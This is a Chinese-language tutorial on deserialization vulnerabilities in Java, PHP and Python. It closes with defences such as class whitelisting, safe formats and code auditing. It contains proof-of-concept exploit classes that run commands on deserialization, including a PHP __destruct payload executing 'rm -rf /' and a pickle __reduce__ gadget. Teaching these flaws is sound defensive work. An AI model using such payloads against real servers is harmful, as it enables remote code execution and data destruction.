反序列化漏洞 反序列化漏洞原理 反序列化漏洞(Deserialization Vulnerability)是一类与对象序列化和反序列化过程相关的安全漏洞,通常发生在应用程序在未验证或不受信任的输入 上执行反序列化操作时。该漏洞可导致远程代码执行(RCE)、权限提升、拒绝服务(DoS)等安全问题。
1. 序列化与反序列化概念 1.1 什么是序列化(Serialization)? 序列化是指将对象转换为字节流,以便存储或传输。例如,在 Java、Python、PHP 等编程语言中,序列化用于:
远程通信(如 WebSocket、REST API)
java
import java.io.*;
class User implements Serializable {
private static final long serialVersionUID = 1L;
String name;
User(String name) {
this.name = name;
}
}
public class SerializeExample {
public static void main(String[] args) throws IOException {
User user = new User("Alice");
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("user.ser"));
out.writeObject(user);
out.close();
}
}
上述代码将 User 对象序列化并写入 user.ser 文件。
1.2 什么是反序列化(Deserialization)?
java
ObjectInputStream in = new ObjectInputStream(new FileInputStream("user.ser"));
User user = (User) in.readObject();
in.close();
System.out.println(user.name);
该代码读取 user.ser 文件,并将其反序列化为 User 对象。
2. 反序列化漏洞的原理 2.1 为什么反序列化会有漏洞? 当应用程序无条件 地从不受信任的来源(如用户输入、数据库、网络请求)反序列化数据时,攻击者可以构造恶意对象,触发代码执行。例如:
Java 反序列化 :ObjectInputStream.readObject() 可能会执行恶意类的 readObject() 方法。
PHP 反序列化 :unserialize() 可能会触发 __wakeup() 或 __destruct() 方法。
Python 反序列化 :pickle.loads() 可能会执行 __reduce__() 方法。
2.2 Java 反序列化漏洞 (1)Java 反序列化的危险方法 在 Java 中,ObjectInputStream.readObject() 可能导致反序列化漏洞:
java
ObjectInputStream in = new ObjectInputStream(socket.getInputStream());
Object obj = in.readObject(); // 如果 obj 来自攻击者,则可能导致漏洞
如果 obj 是攻击者精心构造的恶意对象,Java 可能会在反序列化时执行恶意代码。
(2)利用 Java 反序列化漏洞 攻击者可以构造一个恶意类,并在 readObject() 方法中执行命令:
java
import java.io.*;
class Exploit implements Serializable {
private static final long serialVersionUID = 1L;
private void readObject(ObjectInputStream in) throws IOException {
Runtime.getRuntime().exec("calc"); // 执行恶意代码
}
}
攻击者序列化 Exploit 对象并发送给目标服务器:
java
ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream("exploit.ser"));
out.writeObject(new Exploit());
out.close();
如果目标服务器反序列化 exploit.ser ,将触发 readObject() 方法,导致远程代码执行(RCE)。
2.3 PHP 反序列化漏洞 PHP unserialize() 函数可能导致反序列化漏洞:
php
class Exploit {
function __destruct() {
system("rm -rf /"); // 恶意代码
}
}
$payload = serialize(new Exploit());
echo urlencode($payload);
如果服务器执行 unserialize($_GET['data']) ,攻击者可以构造恶意 data 参数,触发 __destruct() 方法,执行 rm -rf / 命令。
2.4 Python 反序列化漏洞 Python pickle.loads() 可能导致反序列化漏洞:
python
import pickle
import os
class Exploit:
def __reduce__(self):
return (os.system, ("calc",))
payload = pickle.dumps(Exploit())
print(payload)
python
pickle.loads(payload)
将触发 os.system("calc") ,导致命令执行。
4. 反序列化漏洞的防御 4.1 禁用危险反序列化函数
Java:避免 ObjectInputStream.readObject()
Python:避免 pickle.loads()
4.2 使用安全的序列化格式
JSON(json )、XML(xml )等安全格式,不执行代码。
Java:使用 Kryo 序列化库,避免反序列化漏洞。
4.3 反序列化白名单
java
ObjectInputFilter filter = ObjectInputFilter.Config.createFilter("com.safe.package.*;!*");
4.4 代码审计
查找 readObject() 、unserialize() 、pickle.loads() 等危险函数。